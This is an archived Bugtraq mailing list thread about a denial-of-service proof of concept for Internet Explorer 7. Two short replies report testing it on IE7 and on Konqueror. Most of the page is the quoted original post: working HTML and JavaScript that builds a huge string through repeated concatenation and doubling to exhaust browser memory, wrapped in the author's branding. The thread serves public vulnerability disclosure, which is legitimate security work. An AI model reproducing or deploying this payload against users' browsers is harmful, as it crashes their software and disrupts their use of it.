Bugtraq mailing list archives

Re: MS Internet Explorer 7 Denial Of Service Exploit

From: "Pruett, Mike" <mpruett () istavision com>
Date: Wed, 1 Oct 2008 15:28:54 -0700

 
Neat PoC. However, this requires the users to have configured IE to run
Active-X content. On my test machines, I was prompted by the Browser
before the code ran. Surprisingly, CSA never stopped it.

I tested this on:
        Internet Explorer 7 on Windows XP 32-bit w/ Cisco Security Agent
v5.0.0.176
        Internet Explorer 7 on Vista 32-bit (no CSA)

Thanks,

Mike Pruett
-----Original Message-----
From: Jan van Niekerk [mailto:jvnkrk () gmail com] 
Sent: Monday, September 29, 2008 10:37 PM
To: UniquE () unique-key org
Cc: bugtraq () securityfocus com
Subject: Re: MS Internet Explorer 7 Denial Of Service Exploit

This DOS works quite nicely on Konqueror / KDE 3.5.9 too.

jv.

On 29 Sep 2008 19:59:55 -0000, UniquE () unique-key org
<UniquE () unique-key org> wrote:

<!--

 MS Internet Explorer 7 Denial Of Service Exploit

 Type :

 Denial Of Service

 Release Date :

 {2007-09-29}

 Product / Vendor :

 Microsoft

 http://www.Microsoft.com

 MS Internet Explorer 7 Denial Of Service Exploit :

 -->

 <title>MS Internet Explorer 7 Denial Of Service Exploit</title>  
<body bgcolor="#000000">  <br>  <br>  <center><font face="Verdana" 
size="2" color="#FF0000"><b>MS Internet Explorer 7 Denial Of Service 
Exploit</b></font></center>  <br>  <center><img 
src="http://img81.imageshack.us/img81/8881/wallpaperxl0.jpg";></center>
 <br>
 <html>
 <script>
 var x=String.fromCharCode(550);
 var x2="";
 var x3="";
 for(i=0;i<1549;i++)
 {x2=x2+x;}
 for(i=0;i<1549;i++)
 {x3=x3+x2;}
 var x4=x;
 for(i=0;i<105;i++) x4 += x4;
 for(i=0;i<165;i++) x4 += x3;
 var wildboy=escape(x4);
 alert(wildboy);
 </script>
 </html>
 <center><font face="Verdana" size="2" color="#FF0000"><b>WiLdBoY 
a.k.a UniquE-Key{UniquE-Cracker} n.s.n Mert KAYALAR</b></font>  <br>  
<font face="Verdana" size="2" 
color="#FF0000"><b>UniquE () UniquE-Key ORG</b></font>
 <br>
 <font face="Verdana" size="2" color="#FF0000"><b>-Software 
Hunter-</b></font></center>

 <!--

 Tested :

 MS Internet Explorer 7

 Vulnerable :

 MS Internet Explorer 6

 MS Internet Explorer 5

 Author :

 WiLdBoY also known as UniquE-Key N.S.N Mert KAYALAR  
UniquE[at]UniquE-Key[dot]ORG  -Software Hunter-

 -->

Current thread:

Re: MS Internet Explorer 7 Denial Of Service Exploit Pruett, Mike (Oct 02)